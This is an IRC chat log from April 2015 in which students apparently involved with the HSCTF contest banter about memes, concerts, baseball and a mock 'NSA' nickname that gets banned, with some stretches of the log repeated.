[2015-04-12T22:29:01-0400] <sdamashek> yeah that worked
[2015-04-12T22:29:07-0400] <jwoglom> cs/ns help is often helpful :P
[2015-04-12T22:29:14-0400] <sdamashek> thanks
[2015-04-12T22:29:22-0400] <sdamashek> yeah
[2015-04-12T22:33:21-0400] <+awe> Whoever registered #hs, can you set a channel description with SET DESC #hs ...
[2015-04-12T22:33:39-0400] <LittleBobbyTables> no
[2015-04-12T22:33:44-0400] <+awe> Okay.
[2015-04-12T22:35:22-0400] <sdamashek> that's jwoglom
[2015-04-12T22:35:33-0400] <jwoglom> yeah i just registered it
[2015-04-13T01:39:33-0400] <LittleBobbyTables> damn
[2015-04-13T01:39:39-0400] <LittleBobbyTables> if I had died to Koga, I could have gotten WR time...
[2015-04-13T02:31:36-0400] <Pharyngeal> awe: Does your Uni have a Spring festival thing
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[2015-04-13T08:44:58-0400] <fwilson> T_T
[2015-04-13T09:08:48-0400] <sdamashek> of course somebody made it https://twitter.com/oldwhitemansays
[2015-04-13T09:08:53-0400] <sdamashek> yay community
[2015-04-13T10:14:53-0400] <+awe> Pharyngeal: yeah, Chance the Rapper is playing.
[2015-04-13T11:05:58-0400] <JacobEdelman> awe: do you still have the hsctf domain on mailgun?
[2015-04-13T11:35:49-0400] <Pharyngeal> Ah cool
[2015-04-13T11:35:57-0400] <Pharyngeal> We got Kesha and Kygp
[2015-04-13T11:36:07-0400] <Pharyngeal> Kygo*. I like the latter, but the former is meh
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[2015-04-13T12:13:30-0400] <+awe> Pharyngeal: We had a concert before spring break because we've historically had riots that weekend (called the Blarney Blowout).
[2015-04-13T12:13:48-0400] <+awe> Pharyngeal: Kesha, Juicy J, and someone else performed.
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[2015-04-12T22:29:01-0400] <sdamashek> yeah that worked
[2015-04-12T22:29:07-0400] <jwoglom> cs/ns help is often helpful :P
[2015-04-12T22:29:14-0400] <sdamashek> thanks
[2015-04-12T22:29:22-0400] <sdamashek> yeah
[2015-04-12T22:33:21-0400] <+awe> Whoever registered #hs, can you set a channel description with SET DESC #hs ...
[2015-04-12T22:33:39-0400] <LittleBobbyTables> no
[2015-04-12T22:33:44-0400] <+awe> Okay.
[2015-04-12T22:35:22-0400] <sdamashek> that's jwoglom
[2015-04-12T22:35:33-0400] <jwoglom> yeah i just registered it
[2015-04-13T01:39:33-0400] <LittleBobbyTables> damn
[2015-04-13T01:39:39-0400] <LittleBobbyTables> if I had died to Koga, I could have gotten WR time...
[2015-04-13T02:31:36-0400] <Pharyngeal> awe: Does your Uni have a Spring festival thing
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[2015-04-13T08:44:58-0400] <fwilson> T_T
[2015-04-13T09:08:48-0400] <sdamashek> of course somebody made it https://twitter.com/oldwhitemansays
[2015-04-13T09:08:53-0400] <sdamashek> yay community
[2015-04-13T10:14:53-0400] <+awe> Pharyngeal: yeah, Chance the Rapper is playing.
[2015-04-13T11:05:58-0400] <JacobEdelman> awe: do you still have the hsctf domain on mailgun?
[2015-04-13T11:35:49-0400] <Pharyngeal> Ah cool
[2015-04-13T11:35:57-0400] <Pharyngeal> We got Kesha and Kygp
[2015-04-13T11:36:07-0400] <Pharyngeal> Kygo*. I like the latter, but the former is meh
[2015-04-13T12:13:29-0400] <+awe> Pharyngeal: We had a concert before spring break because we've historically had riots that weekend (called the Blarney Blowout).
[2015-04-13T12:13:46-0400] <+awe> Pharyngeal: Kesha, Juicy J, and someone else performed.
[2015-04-13T12:29:11-0400] <jwoglom> fwilson: you need to register w nickserv
[2015-04-13T12:29:15-0400] <fwilson> jwoglom: i did
[2015-04-13T12:29:19-0400] <fwilson> oh
[2015-04-13T12:29:20-0400] <jwoglom> also r you sick
[2015-04-13T12:29:23-0400] <fwilson> now it just says access denied
[2015-04-13T12:29:24-0400] <fwilson> yeah
[2015-04-13T12:29:27-0400] <jwoglom> "sick" :P
[2015-04-13T12:29:32-0400] <fwilson> no, like i actually am
[2015-04-13T12:29:34-0400] <jwoglom> figured since you weren't at lunch
[2015-04-13T12:29:39-0400] <fwilson> yup
[2015-04-13T12:30:18-0400] <fwilson> the doctor is like "ayy lmao go get a chest xray because you might have pneumonia" but i'm still waiting to hear on that
[2015-04-13T12:31:42-0400] <jwoglom> ayy you have cancer lmao
[2015-04-13T12:32:16-0400] <fwilson> ayyyy
[2015-04-13T12:32:33-0400] <jwoglom> doctor webmd
[2015-04-13T12:32:45-0400] <fwilson> lol
[2015-04-13T12:33:05-0400] <fwilson> this.
[2015-04-13T12:33:06-0400] <fwilson> http://i.imgur.com/m2Mcyy7.png
[2015-04-13T12:33:24-0400] <jwoglom> ayy chromium
[2015-04-13T12:33:33-0400] <jwoglom> and flash
[2015-04-13T12:33:42-0400] <fwilson> ayy everything
[2015-04-13T12:33:44-0400] <fwilson> lmao
[2015-04-13T12:33:45-0400] <jwoglom> i don't think there's enough pepperflash running
[2015-04-13T12:33:52-0400] <jwoglom> "--support-dual-gpus=false"
[2015-04-13T12:33:54-0400] <jwoglom> ayy
[2015-04-13T12:34:04-0400] <fwilson> --support-dank-memes=true
[2015-04-13T12:34:39-0400] <jwoglom> --dankest-memes-bug-workarounds=69,420
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[2015-04-13T13:43:53-0400] <+awe> fwilson: did you see that Harvard rejection letter going around about the girl who supposedly claimed she had mad skills with dank memes, and included her mixtape with her application, stating that it was "so fire."
[2015-04-13T13:51:37-0400] <fwilson> uep
[2015-04-13T13:51:40-0400] <fwilson> fp
[2015-04-13T13:51:43-0400] <fwilson> er
[2015-04-13T13:51:44-0400] <fwilson> ikr
[2015-04-13T13:51:48-0400] <fwilson> that was excellent
[2015-04-13T13:52:18-0400] <jwoglom> lol
[2015-04-13T13:52:31-0400] <jwoglom> yeah i saw that like a month ago
[2015-04-13T13:52:37-0400] <+awe> fwilson: I really wish I had sent my fire mixtape to admissions officers. :(
[2015-04-13T13:52:45-0400] <+awe> jwoglom: me too, but fwilson's obsession with dank memes reminded me.
[2015-04-13T13:54:09-0400] <fwilson> :D
[2015-04-13T13:54:12-0400] <jwoglom> such dank
[2015-04-13T13:54:18-0400] <jwoglom> very fwilson
[2015-04-13T13:55:28-0400] <fwilson> 3dank5me
[2015-04-13T13:55:43-0400] <+awe> My friend just said that he'd write a genetic algorithm to generate dank memes if I can get him a function to determine dankness.
[2015-04-13T13:56:31-0400] <jwoglom> awe: simple, just have it ask fwilson in irc every time
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[2015-04-13T13:56:43-0400] <+awe> You can actually do that.
[2015-04-13T13:56:50-0400] <fwilson> YES
[2015-04-13T13:56:52-0400] <jwoglom> "fwilson: is 10001101110 dank?"
[2015-04-13T13:56:53-0400] <+awe> There's a service online where you can outsource to humans.
[2015-04-13T13:56:53-0400] <fwilson> I'M DOING IT
[2015-04-13T13:56:54-0400] <JacobEdelman> awe: I can do that?
[2015-04-13T13:56:55-0400] <JacobEdelman> I've done that
[2015-04-13T13:57:00-0400] <JacobEdelman> not with humans
[2015-04-13T13:57:04-0400] <+awe> It's an Amazon thing.
[2015-04-13T13:57:12-0400] <fwilson> mturk?
[2015-04-13T13:57:13-0400] <JacobEdelman> mechanical turk?
[2015-04-13T13:57:13-0400] <JacobEdelman> awe:^
[2015-04-13T13:57:13-0400] <fwilson> yeah
[2015-04-13T13:57:17-0400] <+awe> Yes.
[2015-04-13T13:57:32-0400] <jwoglom> but we just need a mechanical fwilson
[2015-04-13T13:57:51-0400] <JacobEdelman> fwilson: if you give me a program that takes an image file and returns dankness (on a scale of 0 to 1, real numbers)
[2015-04-13T13:57:56-0400] <jwoglom> just have the genetic algorithm script start an irc session
[2015-04-13T13:57:56-0400] <JacobEdelman> than I'll evolve dank pictures
[2015-04-13T13:57:58-0400] <jwoglom> and pm fwilson
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[2015-04-13T14:04:59-0400] <jwoglom> is the dankness evolving?!?
[2015-04-13T14:06:00-0400] <JacobEdelman> YES... oops
[2015-04-13T14:06:06-0400] <JacobEdelman> its evolving anti dankness
[2015-04-13T14:06:06-0400] <JacobEdelman> ...
[2015-04-13T14:06:11-0400] <JacobEdelman> oh wait
[2015-04-13T14:06:13-0400] <JacobEdelman> no its not
[2015-04-13T14:06:17-0400] <JacobEdelman> its evovling dankness
[2015-04-13T14:06:19-0400] <JacobEdelman> we are good
[2015-04-13T14:07:37-0400] <JacobEdelman> current dank meme https://usercontent.irccloud-cdn.com/file/LgXH7xrg/390.svg
[2015-04-13T14:08:00-0400] <JacobEdelman> oh wait, fail
[2015-04-13T14:08:23-0400] <jwoglom> mfw Error 503 Service Unavailable Service Unavailable Guru Meditation:
[2015-04-13T14:08:29-0400] <JacobEdelman> yeah, fixing
[2015-04-13T14:08:49-0400] <fwilson> Dank. Memes.
[2015-04-13T14:11:10-0400] <apothy> JacobEdelman: is terminated
[2015-04-13T14:17:42-0400] <apothy> :3
[2015-04-13T14:17:48-0400] <fwilson> rekt
[2015-04-13T14:18:00-0400] <apothy> JacobEdelman: it is evolving
[2015-04-13T14:18:08-0400] <apothy> JacobEdelman: internet!
[2015-04-13T14:18:16-0400] <apothy> JacobEdelman: is still terminated.
[2015-04-13T14:18:30-0400] <JacobEdelman> I am back!
[2015-04-13T14:18:39-0400] <apothy> No you're not.
[2015-04-13T14:19:09-0400] <JacobEdelman> the dank meme! https://usercontent.irccloud-cdn.com/file/2H87Cwmf/1410.jpg
[2015-04-13T14:19:17-0400] <JacobEdelman> thats the current dank meme
[2015-04-13T14:20:28-0400] <apothy> JacobEdelman: stop spreading propaganda.
[2015-04-13T14:20:49-0400] <JacobEdelman> this is not propoganda 
[2015-04-13T14:20:52-0400] <JacobEdelman> this is dankness
[2015-04-13T14:21:01-0400] <apothy> Exactly.
[2015-04-13T14:21:11-0400] <JacobEdelman> the funny thing is apothy and I are sitting right next to each other
[2015-04-13T14:21:16-0400] <JacobEdelman> except I just killed him
[2015-04-13T14:21:20-0400] <JacobEdelman> so he will be quiet now
[2015-04-13T14:22:48-0400] <apothy> Down wIth the patriarchy!
[2015-04-13T14:28:27-0400] <JacobEdelman> is that wIth or wlth?
[2015-04-13T14:28:39-0400] <JacobEdelman> i'm guessing wIth, but I'm not sure
[2015-04-13T14:35:54-0400] <fwilson> down ayy lmao the patriarchy
[2015-04-13T15:20:01-0400] <z3t> yo kids
[2015-04-13T15:27:01-0400] <JacobEdelman> hmm... should hsctf give a tour of our work premise as a prize?
[2015-04-13T15:27:05-0400] <JacobEdelman> (aka, my house)
[2015-04-13T15:27:28-0400] <JacobEdelman> :P
[2015-04-13T15:29:29-0400] <z3t> where do you live
[2015-04-13T15:35:24-0400] <JacobEdelman> somewhere
[2015-04-13T15:35:28-0400] <JacobEdelman> warmish right now
[2015-04-13T15:35:31-0400] <JacobEdelman> with potato chips
[2015-04-13T15:35:37-0400] <JacobEdelman> there is also a glass of water
[2015-04-13T15:35:46-0400] <JacobEdelman> with a blue sticker on it
[2015-04-13T15:35:54-0400] <JacobEdelman> is that enough info the pinpoint where I am?
[2015-04-13T15:36:24-0400] <JacobEdelman> *to
[2015-04-13T15:36:33-0400] <z3t> ...pennsylvania?
[2015-04-13T15:38:07-0400] <z3t> oh wait I remember, NJ
[2015-04-13T15:42:21-0400] <JacobEdelman> oh, yeah
[2015-04-13T15:42:25-0400] <JacobEdelman> that seems familiar
[2015-04-13T15:44:51-0400] Mode is +nrt
[2015-04-13T15:59:13-0400] <z3t> woo cams on friday :D
[2015-04-13T16:10:09-0400] <Tamini_> if you wanna pay for me to come over
[2015-04-13T16:10:13-0400] <Tamini_> JacobEdelman:
[2015-04-13T16:10:16-0400] <Tamini_> in totally for that
[2015-04-13T16:25:42-0400] <JacobEdelman> Tamini_: If you get first place I'll pay you 100 bucks
[2015-04-13T16:25:55-0400] <JacobEdelman> fyi: (all 1st place prizes just went down 100 dollars)
[2015-04-13T16:26:04-0400] <Tamini_> can you fly me to your house in a private jet
[2015-04-13T16:26:11-0400] <JacobEdelman> for 100 bucks?
[2015-04-13T16:26:14-0400] <JacobEdelman> I don't know
[2015-04-13T16:26:26-0400] <JacobEdelman> LittleBobbyTables: can you get me a jet through the black market for 100 bucks?
[2015-04-13T16:26:31-0400] <JacobEdelman> z3t: ^
[2015-04-13T16:26:41-0400] apothy (uid15876@pdgn-550.9ak.7cuf9e.IP) left IRC (Quit: Connection closed for inactivity)
[2015-04-13T16:26:55-0400] <JacobEdelman> (since z3t and LittleBobbyTables are the mafias of pdgn)
[2015-04-13T16:27:12-0400] <jwoglom> mfw nationals losing to the red Sox 7-0 in the 3rd inning
[2015-04-13T16:29:29-0400] <jwoglom> 8-0.
[2015-04-13T16:29:46-0400] <JacobEdelman> wow
[2015-04-13T16:29:53-0400] <JacobEdelman> those are both teams I used to root for
[2015-04-13T16:30:18-0400] <JacobEdelman> but then immiedtly did really well shortly after I started rooting for them
[2015-04-13T16:30:22-0400] <jwoglom> I've been a sox fan since birth but a Nats fan since 05
[2015-04-13T16:30:28-0400] <jwoglom> Such conflict
[2015-04-13T16:30:38-0400] <JacobEdelman> my attempts to pick loosing teams have been failures
[2015-04-13T16:30:47-0400] <JacobEdelman> so I jut gave up on basebal
[2015-04-13T16:30:50-0400] <jwoglom> The nationals' poor performance so far is sad :(
[2015-04-13T16:30:56-0400] <jwoglom> Aw, don't give up!
[2015-04-13T16:31:01-0400] <jwoglom> Losing is part of the game
[2015-04-13T16:31:12-0400] <jwoglom> Look at all of the Sox fans before 04
[2015-04-13T16:31:16-0400] <jwoglom> Freaking curse
[2015-04-13T16:31:26-0400] <JacobEdelman> but the teams I pick because they are loosers always end up winning!
[2015-04-13T16:31:28-0400] <JacobEdelman> its annoying
[2015-04-13T16:31:36-0400] <jwoglom> Heh.
[2015-04-13T16:31:50-0400] <jwoglom> Well keep picking them I guess! :P
[2015-04-13T16:36:23-0400] <z3t> JacobEdelman: $100 for a jet??
[2015-04-13T16:47:16-0400] <Tamini> i think to get that kind of deal
[2015-04-13T16:47:29-0400] <Tamini> you'd have to use $100 to buy weapons to kill someone with a jet
[2015-04-13T16:48:29-0400] <z3t> that'd work, can definitely get us weapons for $100.
[2015-04-13T16:50:21-0400] <sdamashek> jwoglom: they should get a touchdown
[2015-04-13T16:50:29-0400] <sdamashek> 8-7
[2015-04-13T16:51:20-0400] <JacobEdelman> NSA: I don't know z3t or Tamini
[2015-04-13T16:51:44-0400] <JacobEdelman> never heard of em
[2015-04-13T16:57:06-0400] <fwilson> NSA?
[2015-04-13T16:57:08-0400] <fwilson> where's the NSA
[2015-04-13T16:57:10-0400] <fwilson> what NSA
[2015-04-13T16:57:13-0400] fwilson is now known as NSA
[2015-04-13T16:57:27-0400] <z3t> shit
[2015-04-13T16:57:37-0400] <NSA> HELLO I AM HERE FOR AN AUDIT OF YOUR SECURITY POLICIES
[2015-04-13T16:57:42-0400] <NSA> TAKE ME TO YOUR LEADER
[2015-04-13T16:58:02-0400] <z3t> nah
[2015-04-13T16:58:08-0400] <NSA> oh
[2015-04-13T16:58:10-0400] <NSA> ok
[2015-04-13T16:59:59-0400] <jwoglom> sdamashek: yeah good idea
[2015-04-13T17:05:38-0400] <NSA> JacobEdelman: can i see your meme generation code
[2015-04-13T17:05:43-0400] <+awe> NSA: no
[2015-04-13T17:05:46-0400] <+awe> NSA: we don't talk to feds here.
[2015-04-13T17:05:55-0400] ChanServ sets mode +o awe
[2015-04-13T17:05:58-0400] awe sets mode +b *!affiliated@pdgn-iio.q5k.uc24op.IP
[2015-04-13T17:06:03-0400] awe sets mode -b *!affiliated@pdgn-iio.q5k.uc24op.IP
[2015-04-13T17:06:09-0400] awe sets mode +b NSA@*!*
[2015-04-13T17:06:10-0400] <jwoglom> Woah der
[2015-04-13T17:06:12-0400] awe kicked NSA from the channel (Goodbye)
[2015-04-13T17:06:18-0400] ChanServ sets mode -o awe
[2015-04-13T17:06:25-0400] <+awe> jwoglom: no feds.
[2015-04-13T17:06:28-0400] <jwoglom> Hey the NSA is gone!!
[2015-04-13T17:06:41-0400] <jwoglom> Nice going awe. Snowden would be proud
[2015-04-13T17:06:58-0400] <+awe> :)
[2015-04-13T17:06:59-0400] <+awe> I try.
[2015-04-13T17:07:10-0400] <Pharyngeal> Cool, we can talk about my plans now
[2015-04-13T17:07:13-0400] <Pharyngeal> ;)
[2015-04-13T17:07:44-0400] <jwoglom> If you *really* want to talk about all your plans
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[2015-04-13T17:08:02-0400] <+awe> foxwilson: hi
[2015-04-13T17:08:06-0400] <jwoglom> You should use the wee chat encryption plugin to encrypt the channel :P
[2015-04-13T17:08:24-0400] <foxwilson> T_T
[2015-04-13T17:08:31-0400] foxwilson is now known as fwilson
[2015-04-13T17:08:32-0400] <+awe> my bad.
[2015-04-13T17:08:33-0400] fwilson is now known as NationalSecurityAgency
[2015-04-13T17:08:34-0400] <+awe> THere you go.
[2015-04-13T17:08:35-0400] <NationalSecurityAgency> ok
[2015-04-13T17:08:37-0400] <NationalSecurityAgency> thanks
[2015-04-13T17:08:39-0400] <JacobEdelman> awe
[2015-04-13T17:08:41-0400] NationalSecurityAgency is now known as fwilson
[2015-04-13T17:08:46-0400] <+awe> JacobEdelman: yes?
[2015-04-13T17:08:50-0400] <JacobEdelman> respond to my pm
[2015-04-13T17:08:53-0400] <jwoglom> Is there a max nick length?
[2015-04-13T17:09:02-0400] <+awe> JacobEdelman: I've been PMing you.
[2015-04-13T17:09:08-0400] <+awe> JacobEdelman: 31 chars, I think.
[2015-04-13T17:09:08-0400] <JacobEdelman> jwoglom: only 16 ways to find out!
[2015-04-13T17:09:13-0400] <+awe> erm
[2015-04-13T17:09:15-0400] <+awe> jwoglom: ^
[2015-04-13T17:09:15-0400] <fwilson> actually
[2015-04-13T17:09:16-0400] <JacobEdelman> awe: wat?
[2015-04-13T17:09:22-0400] <fwilson> can't i still...
[2015-04-13T17:09:22-0400] <+awe> JacobEdelman: I've been PMing you.
[2015-04-13T17:09:35-0400] <JacobEdelman> I'm not getting nothing
[2015-04-13T17:09:38-0400] <JacobEdelman> pm me now?
[2015-04-13T17:09:42-0400] <Pharyngeal> jwoglom: If I wanted to reveal "plans", I'd certainly not do it over IRC
[2015-04-13T17:09:42-0400] <+awe> I just did.
[2015-04-13T17:09:44-0400] <jwoglom> Us j people are different, you know :P
[2015-04-13T17:09:47-0400] <JacobEdelman> nothing
[2015-04-13T17:09:52-0400] <JacobEdelman> I'm not receiving nothing
[2015-04-13T17:09:55-0400] <fwilson> oh really
[2015-04-13T17:09:58-0400] <JacobEdelman> sure its the right JacobEdelman and all?
[2015-04-13T17:10:03-0400] <+awe> Yes.
[2015-04-13T17:10:03-0400] <fwilson> /nick AgencyForNationalSecurity
[2015-04-13T17:10:05-0400] <fwilson> i mean
[2015-04-13T17:10:07-0400] <fwilson> hello
[2015-04-13T17:10:09-0400] <+awe> JacobEdelman: did you just get that one?
[2015-04-13T17:10:13-0400] <JacobEdelman> nope
[2015-04-13T17:10:14-0400] <JacobEdelman> nada
[2015-04-13T17:10:17-0400] <+awe> What the hell.
[2015-04-13T17:10:24-0400] <JacobEdelman> pdgn has failed me
[2015-04-13T17:10:34-0400] <fwilson> JacobEdelman: did you get my pm
[2015-04-13T17:10:37-0400] <JacobEdelman> I got fwilsons
[2015-04-13T17:10:39-0400] <fwilson> :>
[2015-04-13T17:10:44-0400] <z3t> boo pdgn
[2015-04-13T17:10:44-0400] <jwoglom> Awe!!!
[2015-04-13T17:10:50-0400] <jwoglom> You dun goofed
[2015-04-13T17:10:53-0400] <JacobEdelman> fwilson and I have no problem
[2015-04-13T17:10:53-0400] <+awe> jwoglom: How?
[2015-04-13T17:11:06-0400] <JacobEdelman> awe: fix this
[2015-04-13T17:11:08-0400] <fwilson> >democracy
[2015-04-13T17:11:09-0400] <fwilson> >free speech
[2015-04-13T17:11:12-0400] <fwilson> >no censorship
[2015-04-13T17:11:14-0400] <fwilson> T_T
[2015-04-13T17:11:18-0400] <jwoglom> >owned by awe
[2015-04-13T17:11:18-0400] fwilson is now known as NationalSecurityAgency
[2015-04-13T17:11:20-0400] ChanServ sets mode +o awe
[2015-04-13T17:11:22-0400] <NationalSecurityAgency> T_T
[2015-04-13T17:11:28-0400] awe sets mode -b NSA@*!*
[2015-04-13T17:11:29-0400] <z3t> adios
[2015-04-13T17:11:31-0400] <NationalSecurityAgency> ok :)
[2015-04-13T17:11:34-0400] NationalSecurityAgency is now known as NSA
[2015-04-13T17:11:35-0400] ChanServ sets mode -o awe
[2015-04-13T17:11:41-0400] <JacobEdelman> ./kick NSA
[2015-04-13T17:11:42-0400] <awe> NSA: I was just messing with you. :p
[2015-04-13T17:11:48-0400] <JacobEdelman> ahh, lol
[2015-04-13T17:11:52-0400] <NSA> :D
[2015-04-13T17:11:56-0400] <JacobEdelman> awe: now fix the pms
[2015-04-13T17:11:58-0400] <jwoglom> NSA: quick! Steal his data's!
[2015-04-13T17:11:58-0400] <NSA> lol
[2015-04-13T17:12:01-0400] <NSA> jwoglom: ok
[2015-04-13T17:12:12-0400] <awe> JacobEdelman: it's not the server, it's probably my client.
[2015-04-13T17:12:15-0400] <awe> JacobEdelman: or ZNC.
[2015-04-13T17:12:26-0400] <JacobEdelman> I'm not using znc
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[2015-04-13T17:12:35-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-13T17:09:16-0400] <JacobEdelman> awe: wat?
[2015-04-13T17:09:22-0400] <fwilson> can't i still...
[2015-04-13T17:09:22-0400] <+awe> JacobEdelman: I've been PMing you.
[2015-04-13T17:09:35-0400] <JacobEdelman> I'm not getting nothing
[2015-04-13T17:09:38-0400] <JacobEdelman> pm me now?
[2015-04-13T17:09:42-0400] <Pharyngeal> jwoglom: If I wanted to reveal "plans", I'd certainly not do it over IRC
[2015-04-13T17:09:42-0400] <+awe> I just did.
[2015-04-13T17:09:44-0400] <jwoglom> Us j people are different, you know :P
[2015-04-13T17:09:47-0400] <JacobEdelman> nothing
[2015-04-13T17:09:52-0400] <JacobEdelman> I'm not receiving nothing
[2015-04-13T17:09:55-0400] <fwilson> oh really
[2015-04-13T17:09:58-0400] <JacobEdelman> sure its the right JacobEdelman and all?
[2015-04-13T17:10:03-0400] <+awe> Yes.
[2015-04-13T17:10:03-0400] <fwilson> /nick AgencyForNationalSecurity
[2015-04-13T17:10:05-0400] <fwilson> i mean
[2015-04-13T17:10:07-0400] <fwilson> hello
[2015-04-13T17:10:09-0400] <+awe> JacobEdelman: did you just get that one?
[2015-04-13T17:10:13-0400] <JacobEdelman> nope
[2015-04-13T17:10:14-0400] <JacobEdelman> nada
[2015-04-13T17:10:17-0400] <+awe> What the hell.
[2015-04-13T17:10:23-0400] <JacobEdelman> pdgn has failed me
[2015-04-13T17:10:34-0400] <fwilson> JacobEdelman: did you get my pm
[2015-04-13T17:10:36-0400] <JacobEdelman> I got fwilsons
[2015-04-13T17:10:39-0400] <fwilson> :>
[2015-04-13T17:10:44-0400] <z3t> boo pdgn
[2015-04-13T17:10:44-0400] <jwoglom> Awe!!!
[2015-04-13T17:10:50-0400] <jwoglom> You dun goofed
[2015-04-13T17:10:53-0400] <JacobEdelman> fwilson and I have no problem
[2015-04-13T17:10:53-0400] <+awe> jwoglom: How?
[2015-04-13T17:11:06-0400] <JacobEdelman> awe: fix this
[2015-04-13T17:11:08-0400] <fwilson> >democracy
[2015-04-13T17:11:09-0400] <fwilson> >free speech
[2015-04-13T17:11:12-0400] <fwilson> >no censorship
[2015-04-13T17:11:14-0400] <fwilson> T_T
[2015-04-13T17:11:18-0400] <jwoglom> >owned by awe
[2015-04-13T17:11:22-0400] <NationalSecurityAgency> T_T
[2015-04-13T17:11:29-0400] <z3t> adios
[2015-04-13T17:11:31-0400] <NationalSecurityAgency> ok :)
[2015-04-13T17:11:41-0400] <JacobEdelman> ./kick NSA
[2015-04-13T17:11:42-0400] <+awe> NSA: I was just messing with you. :p
[2015-04-13T17:11:48-0400] <JacobEdelman> ahh, lol
[2015-04-13T17:11:52-0400] <NSA> :D
[2015-04-13T17:11:56-0400] <JacobEdelman> awe: now fix the pms
[2015-04-13T17:11:58-0400] <jwoglom> NSA: quick! Steal his data's!
[2015-04-13T17:11:58-0400] <NSA> lol
[2015-04-13T17:12:01-0400] <NSA> jwoglom: ok
[2015-04-13T17:12:12-0400] <+awe> JacobEdelman: it's not the server, it's probably my client.
[2015-04-13T17:12:15-0400] <+awe> JacobEdelman: or ZNC.
[2015-04-13T17:12:26-0400] <JacobEdelman> I'm not using znc
[2015-04-13T17:12:32-0400] <JacobEdelman> it could be your use
[2015-04-13T17:12:36-0400] <JacobEdelman> fine
[2015-04-13T17:12:37-0400] Mode is +nrt
[2015-04-13T17:12:37-0400] <JacobEdelman> lets dothis publicaly
[2015-04-13T17:12:42-0400] <jwoglom> Either way, its awe's fault :P
[2015-04-13T17:12:52-0400] <JacobEdelman> actaully, fb chat, give me a min
[2015-04-13T17:12:57-0400] <+awe> JacobEdelman: did you get that?
[2015-04-13T17:13:12-0400] <JacobEdelman> yes
[2015-04-13T17:13:25-0400] <JacobEdelman> geee, your test pm is porno?
[2015-04-13T17:13:32-0400] <JacobEdelman> really awe?
[2015-04-13T17:13:34-0400] <+awe> ayyy lmao
[2015-04-13T17:13:36-0400] <z3t> NSA: your CTCP seems to be broken
[2015-04-13T17:13:36-0400] <NSA> ayy lmao
[2015-04-13T17:13:41-0400] <+awe> smoke dank memes every day
[2015-04-13T17:13:43-0400] <NSA> z3t: one sec
[2015-04-13T17:13:48-0400] <NSA> awe: are you ok
[2015-04-13T17:13:49-0400] <jwoglom> Isn't it a bit early in the day for that, awe? :P
[2015-04-13T17:13:59-0400] <+awe> No, I smoke dank memes all day, every day.
[2015-04-13T17:14:17-0400] <jwoglom> I think there's been a giant mistake
[2015-04-13T17:14:22-0400] <jwoglom> And awe has turned into fwilson
[2015-04-13T17:14:37-0400] <NSA> Yes, that's correct.
[2015-04-13T17:14:39-0400] <JacobEdelman> awe: did you get my pms?
[2015-04-13T17:14:40-0400] <jwoglom> Except a fwilson who writes with uppercase letters and full sentences
[2015-04-13T17:14:47-0400] <+awe> Yes.
[2015-04-13T17:14:53-0400] <NSA> ayyyyyyyyyyy
[2015-04-13T17:14:55-0400] <NSA> lmao
[2015-04-13T17:15:05-0400] <+awe> JacobEdelman: but it seems like you're not getting my other PMs?
[2015-04-13T17:15:05-0400] <JacobEdelman> awe: respond?
[2015-04-13T17:15:10-0400] <JacobEdelman> no, I'm not
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[2015-04-13T17:15:30-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-13T17:10:53-0400] <JacobEdelman> fwilson and I have no problem
[2015-04-13T17:10:53-0400] <+awe> jwoglom: How?
[2015-04-13T17:11:06-0400] <JacobEdelman> awe: fix this
[2015-04-13T17:11:08-0400] <fwilson> >democracy
[2015-04-13T17:11:09-0400] <fwilson> >free speech
[2015-04-13T17:11:12-0400] <fwilson> >no censorship
[2015-04-13T17:11:14-0400] <fwilson> T_T
[2015-04-13T17:11:18-0400] <jwoglom> >owned by awe
[2015-04-13T17:11:22-0400] <NationalSecurityAgency> T_T
[2015-04-13T17:11:29-0400] <z3t> adios
[2015-04-13T17:11:31-0400] <NationalSecurityAgency> ok :)
[2015-04-13T17:11:41-0400] <JacobEdelman> ./kick NSA
[2015-04-13T17:11:42-0400] <+awe> NSA: I was just messing with you. :p
[2015-04-13T17:11:48-0400] <JacobEdelman> ahh, lol
[2015-04-13T17:11:52-0400] <NSA> :D
[2015-04-13T17:11:56-0400] <JacobEdelman> awe: now fix the pms
[2015-04-13T17:11:58-0400] <jwoglom> NSA: quick! Steal his data's!
[2015-04-13T17:11:58-0400] <NSA> lol
[2015-04-13T17:12:01-0400] <NSA> jwoglom: ok
[2015-04-13T17:12:12-0400] <+awe> JacobEdelman: it's not the server, it's probably my client.
[2015-04-13T17:12:15-0400] <+awe> JacobEdelman: or ZNC.
[2015-04-13T17:12:26-0400] <JacobEdelman> I'm not using znc
[2015-04-13T17:12:32-0400] <JacobEdelman> it could be your use
[2015-04-13T17:12:33-0400] <JacobEdelman> fine
[2015-04-13T17:12:37-0400] <JacobEdelman> lets dothis publicaly
[2015-04-13T17:12:42-0400] <jwoglom> Either way, its awe's fault :P
[2015-04-13T17:12:52-0400] <JacobEdelman> actaully, fb chat, give me a min
[2015-04-13T17:12:57-0400] <+awe> JacobEdelman: did you get that?
[2015-04-13T17:13:12-0400] <JacobEdelman> yes
[2015-04-13T17:13:25-0400] <JacobEdelman> geee, your test pm is porno?
[2015-04-13T17:13:32-0400] <JacobEdelman> really awe?
[2015-04-13T17:13:34-0400] <+awe> ayyy lmao
[2015-04-13T17:13:36-0400] <z3t> NSA: your CTCP seems to be broken
[2015-04-13T17:13:36-0400] <NSA> ayy lmao
[2015-04-13T17:13:41-0400] <+awe> smoke dank memes every day
[2015-04-13T17:13:43-0400] <NSA> z3t: one sec
[2015-04-13T17:13:48-0400] <NSA> awe: are you ok
[2015-04-13T17:13:49-0400] <jwoglom> Isn't it a bit early in the day for that, awe? :P
[2015-04-13T17:13:59-0400] <+awe> No, I smoke dank memes all day, every day.
[2015-04-13T17:14:17-0400] <jwoglom> I think there's been a giant mistake
[2015-04-13T17:14:22-0400] <jwoglom> And awe has turned into fwilson
[2015-04-13T17:14:37-0400] <NSA> Yes, that's correct.
[2015-04-13T17:14:38-0400] <JacobEdelman> awe: did you get my pms?
[2015-04-13T17:14:40-0400] <jwoglom> Except a fwilson who writes with uppercase letters and full sentences
[2015-04-13T17:14:47-0400] <+awe> Yes.
[2015-04-13T17:14:53-0400] <NSA> ayyyyyyyyyyy
[2015-04-13T17:14:55-0400] <NSA> lmao
[2015-04-13T17:15:05-0400] <+awe> JacobEdelman: but it seems like you're not getting my other PMs?
[2015-04-13T17:15:05-0400] <JacobEdelman> awe: respond?
[2015-04-13T17:15:10-0400] <JacobEdelman> no, I'm not
[2015-04-13T17:15:31-0400] Mode is +nrt
